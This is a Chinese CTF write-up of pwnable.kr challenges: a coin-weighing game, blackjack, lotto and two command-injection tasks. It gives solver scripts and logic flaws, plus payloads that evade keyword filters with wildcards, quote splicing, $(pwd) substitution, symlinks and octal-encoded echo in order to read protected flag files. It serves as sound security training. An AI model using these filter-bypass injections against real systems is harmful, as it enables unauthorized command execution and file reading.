您的位置:首页 > 其它

Pwnable之[Toddler's Bottle](二)

2018-03-11 17:39 183 查看

Pwnable之[Toddler’s Bottle](2)

Pwn挑战地址

11.coin1

nc 连上。



要你玩一个游戏,游戏的规则是:

你手里拿了几枚金币。

然而,其中有一枚假币。

假币和真币一模一样。

然而,它的重量不同于真正的重量。

真币重10,假币重达9

帮我找一个带刻度的假币

如果你发现100个假币,你将得到奖励:

还有,你有30秒的时间。

比如,n=4 c= 2 4个硬币,2次验证的机会

输入:0 1 #验证第一个第二个硬币

回显:20

输入:3 #验证第4个硬币

回显:10

那么答案就是2,第三个硬币是假的了

输入:2

回显:Correct

重复获得100次Correct就可以得到flag。

OK,典型的二分法。

代码走起:

#coding:utf-8
from pwn import *
import re
def get_weight(st,en,r):
send_str=""
if(st==en):
send_str=str(en)
else:
for i in range(st,en+1):
send_str=send_str+str(i)+" "
r.sendline(send_str)
ret=r.recvline()
#print '[*]','-'*18," ",ret
return int(ret)
def choose_coin(num,cha,r):
start=0
end=num-1
all_weight=0
for i in range(0,cha):
#print str(i),'~'*10,'test'," ",start,end
all_weight=get_weight(start,int((start+end)/2),r)
if(all_weight%10==0):
start=int((start+end)/2)
else:
end=int((start+end)/2)
#print 'this is end:',str(end)
r.sendline(str(end))
print '[+] Server:',r.recvline()

r=remote('pwnable.kr',9007)
print r.recv()
for i in range(0,100):
print '[*]','='*18," ",i," ","="*18 ,"[*]"#第一次尝试
recvword = r.recvline()
print "[+]server: ",recvword
p = re.compile(r'\d+')#匹配所有的数字
data = p.findall(recvword)
num = int(data[0])#N
chance = int(data[1])#C
choose_coin(num,chance,r)
print r.recvline()
print r.recvline()


跑完你会发现,30秒根本不够,因为服务器响应时间太久了,像这样:



看了下大佬的,直接放到它服务器上跑。

需要去前面的做过的具有执行权限的地方跑。

想到了input那题的 var/tmp

登入进去跑。

发现这里没有pwn。



这时候要怎么办?

1.找到有pwn的。

又看下大佬的,需要到/tmp上。

这里要注意的是,r=remote(‘pwnable.kr’,9007)要改为r=remote(‘0.0.0.0’,9007)

响应本地服务器的9007端口。

进入/tmp

vi jaken_coin

然后执行就好。



2.改pwn 的引用为socket的。

改后的代码为:

#coding:utf-8
from socket import *
import re
def get_weight(st,en,r):
send_str=""
if(st==en):
send_str=str(en)
else:
for i in range(st,en+1):
send_str=send_str+str(i)+" "
r.send(send_str+"\n")
ret=r.recv(1024)
#print '[*]','-'*18," ",ret
return int(ret)
def choose_coin(num,cha,r):
start=0
end=num-1
all_weight=0
for i in range(0,cha):
#print str(i),'~'*10,'test'," ",start,end
all_weight=get_weight(start,int((start+end)/2),r)
if(all_weight%10==0):
start=int((start+end)/2)
else:
end=int((start+end)/2)
#print 'this is end:',str(end)
r.send(str(end)+"\n")
print '[+] Server:',r.recv(1024)
r=socket(AF_INET,SOCK_STREAM)
#AF_INET表示将使用标准的ipv4地址或主机名
#SOCK_STREAM说明这是一个TCP客户端

r.connect(('pwnable.kr',9007))
print r.recv(2048)
for i in range(0,100):
print '[*]','='*18," ",i," ","="*18 ,"[*]"#第一次尝试
recvword = r.recv(1024)
print "[+]server: ",recvword
p = re.compile(r'\d+')#匹配所有的数字
data = p.findall(recvword)
num = int(data[0])#N
chance = int(data[1])#C
choose_coin(num,chance,r)
print r.recv(1024)
r.close()


同样,吧pwnable.kr改为0.0.0.0,放到var/tmp上。

OK~



12.blackjack

blackjack又名’二十一点‘。

源代码位置在:

https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

nc 上,玩了下这个游戏

最多玩到16000.

题目说要到100,0000万才可以给你flag。

第一个想法,刷,每次500。看看能不能刷到。

可是100,0000/500=2000

至少2000次?

发现代码有点臃肿,先放这,以后再写下:

r=remote('pwnable.kr',9009)
print r.recv()

#print '[*]','='*18," ",i," ","="*18 ,"[*]"#第一次尝试
for i in  range(0,60):
print r.recvline()
if(i==36):
r.sendline("y")
if(i==41):
r.sendline("1")

r.sendline("1")

print r.recvline()


尝试无果后,忽然想到如果我输入-500会怎样?



然后一直按H故意输掉,会不会变为1000呢?



果然可以。

问题出现在这里:

int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function


没有对输入参数进行判断,如果输入-500,-(-500)就变成+500了。

那就直接-100,0000走起,然后赢一局就好了。



13.Lotto

代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);

int r;
r = read(0, submit, 6);

printf("Lotto Start!\n");
//sleep(1);

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1;     // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}

}

void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

// menu
unsigned int menu;

while(1){

printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");

scanf("%d", &menu);

switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;

c3b7
}
}
return 0;
}


代码的意思是要你输入6个字节的lotto彩票,然后从本地/dev/urandom 随机文件中读取6个文件来和你输入的对比。

其中,被对比的lotto是:

for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1;     // 1 ~ 45
}


由代码可知lotto的字符为1-45。。。

从45个字符中选中6个全对的概率是1/45^6,爆破?省省吧。

答案不可能是这样。。。

果然,问题就出现在这个判断胜利的函数里:

int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}


那两个for循环共36次对比,每次lotto中的1个符号都要和submit中所有字符进行比对,相等则match++。match=6 就获得flag。

很明显,如果我输入都是同样的,例如’#’,且lotto[6]中恰好就只有一个#字符。那么match不就等于6了吗?这种概率就是44^6/45^6~0.874.

这概率就很可观了,大概两次就可以了。

那么我们还知道。ascii的1-32是不可见字符,如32代表的就是空格。

下面就是我们可见可输入的ascii 33-45 即’!’ ~ ’ - ‘。



解题方式:

输入6个#。



两次就拿到flag了。

14.cmd1

代码:

#include <stdio.h>
#include <string.h>

int filter(char* cmd){//判断是否有"flag"、"sh"、"tmp"子串。
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}


题目的意思是你输入一个参数运行,程序判断参数是否含有”flag”、”sh”、”tmp”子串,如果没有,则system执行第一个参数。

putenv 函数用来向环境表中 添加或者修改 环境变量。

函数原型:



当然,问题不是出在这个函数,这里只是顺便学习下,而是那个判断函数。

r += strstr(cmd, “flag”)!=0;

r += strstr(cmd, “sh”)!=0;

r += strstr(cmd, “tmp”)!=0;

是准确的匹配。

那如果我用

linux执行命令特有的

flg* 或者 拼接呢

我们用/bin/cat /home/cmd1/fla* 试试



或者 /bin/cat ‘/home/cmd1/fla’‘g’



还有一个思路是用这个cmd1程序调用另一个程序,该程序有获得falg的指令,然后在有执行权限的地方执行cmd1调用就可以直接获得flag。

例如:

cd /tmp

vi jaken

/bin/cat /home/cmd1/flag


chmod +777 jaken

/home/cmd1/cmd1 “./jaken”

15.cmd2

代码:

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}


关键还是这个函数,它过滤了‘/’,前面的方法不行了。

看了前面的cmd1除了这个方法还有改PATH和export哎,有空复现下。

那就想办法绕过‘/’。

刚开始没什么想法,后面看了下大神的提示,重点在pwd这个指令。

我们都知道pwd是输出当前路径。

那如果在跟目录的话不就是‘/’了。。。

尝试在根目录构造

./home/cmd2/cmd2 ‘“echo $(pwd)”’

发现回显:



改为:./home/cmd2/cmd2 ‘”“echo $(pwd)”“’

发现成功回显‘/’:



不知道为啥要两个””

那么后面的就简单了。

构造payload:

./home/cmd2/cmd2 '""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""'


获得flag。

然后总结下看见大佬的骚思路:

1.一样是绕过pwd,不过不在根目录,在有执行权限的/tmp,利用pwd构造出cat命令。

再利用软链接:

cat的软链接,ln -s /bin/cat cat

flag的软链接,ln -s /home/cmd2/flag flag

然后直接执行 /home/cmd2/cmd2 “$(pwd)t f*”

具体如下:



2.用echo 进制解析进行绕过

(echo 命令不通过参数 e 也可以解析出 16 进制 和 8 进制的字串,不过不同 echo 版本会对这个功能有所限制,而虚拟机 Ubuntu 16.04 的 echo 就无法解析,只有 echo -e 才能解析特殊字符)

下面构造测试:

16进制:

from pwn import *
cmd="/bin/cat home/cmd2/flag"
print "\\"+"\\".join(hex(c) for c in ordlist(cmd))


获得,

\0x2f\0x62\0x69\0x6e\0x2f\0x63\0x61\0x74\0x20\0x2f\0x68\0x6f\0x6d\0x65\0x2f\0x63\0x6d\0x64\0x32\0x2f\0x66\0x6c\0x61\0x67


用8进制:

from pwn import *
cmd="/bin/cat /home/cmd2/flag"
print "\\"+"\\".join(oct(c) for c in ordlist(cmd))


得到,

\057\0142\0151\0156\057\0143\0141\0164\040\057\0150\0157\0155\0145\057\0143\0155\0144\062\057\0146\0154\0141\0147


测试下:



发现8进制成功解析。

那么就可以构造:

./cmd2 '$(echo -e "\057\0142\0151\0156\057\0143\0141\0164\040\057\0150\0157\0155\0145\057\0143\0155\0144\062\057\0146\0154\0141\0147")'


发现没有-e 可能是那个添加的环境没有,那就把-e去掉

如图,获得flag~



参考文章:

https://www.jianshu.com/p/c70e50710804

http://www.cnblogs.com/p4nda/p/7147552.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: